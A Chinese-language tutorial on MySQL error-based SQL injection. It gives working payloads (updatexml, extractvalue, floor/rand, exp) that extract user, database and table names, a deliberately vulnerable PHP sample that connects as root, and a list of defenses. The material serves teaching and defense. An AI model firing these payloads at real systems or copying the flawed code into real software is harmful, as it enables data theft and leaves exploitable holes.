MySQL报错注入攻击技术详解

一、报错注入攻击概述

报错注入(Error-based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息显示在页面上时，攻击者可以故意构造错误的SQL语句，使数据库返回包含敏感数据的错误信息。

二、报错注入攻击原理

1. 错误回显机制：应用程序未正确处理数据库错误，直接将错误信息输出到页面
2. SQL语句构造：通过特殊字符(如单引号)破坏原始SQL语句结构，触发数据库错误
3. 信息提取：利用数据库函数将查询结果嵌入错误信息中返回

三、报错注入攻击演示

1. 基本测试

访问测试URL：error.php?username=1'

• 单引号破坏SQL语句结构，产生错误
• 原始SQL：select * from users where username='1''
• 错误信息直接显示在页面上

2. 利用updatexml()函数获取信息

updatexml()是MySQL的XML处理函数，当XPath表达式格式错误时会报错并显示表达式内容。

获取当前用户

1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

• 0x7e是ASCII编码的~字符，作为分隔符
• concat()函数将查询结果与分隔符合并
• --+注释掉后续SQL语句

获取当前数据库名

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

获取所有数据库名

1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

• 使用limit语句逐个获取，因为报错注入每次只显示一条结果

获取指定数据库的表名

1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+

四、漏洞代码分析

<?php
$con = mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno()) {
    echo "连接失败: " . mysqli_connect_error();
}

$username = $_GET['username'];

if($result = mysqli_query($con,"select * from users where `username`='".$username."'")) {
    echo "ok";
} else {
    echo mysqli_error($con);  // 关键漏洞点：直接输出数据库错误信息
}
?>

漏洞成因：

1. 未对用户输入$username进行过滤或转义
2. 直接将用户输入拼接到SQL语句中
3. 错误处理不当，使用mysqli_error()将详细错误信息输出到页面

五、其他可用于报错注入的MySQL函数

1. extractvalue()：XML处理函数，与updatexml类似

   1' and extractvalue(1,concat(0x7e,(select user()),0x7e))--+
   

2. floor()：与rand()和group by结合使用

   1' and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
   

3. exp()：数值溢出错误

   1' and exp(~(select*from(select user())a))--+
   

六、防御措施

1. 输入验证：对用户输入进行严格过滤
2. 参数化查询：使用预处理语句(PDO或mysqli_prepare)
3. 错误处理：自定义错误页面，不显示数据库详细错误
4. 最小权限原则：数据库用户只赋予必要权限
5. WAF防护：部署Web应用防火墙检测和阻断注入攻击

七、总结

报错注入是一种高效的SQL注入技术，利用数据库错误信息泄露机制获取数据。防御关键在于：

• 避免直接拼接SQL语句
• 正确处理数据库错误
• 实施多层安全防护措施

通过理解报错注入的原理和利用方式，开发人员可以更好地编写安全的代码，防止此类漏洞被利用。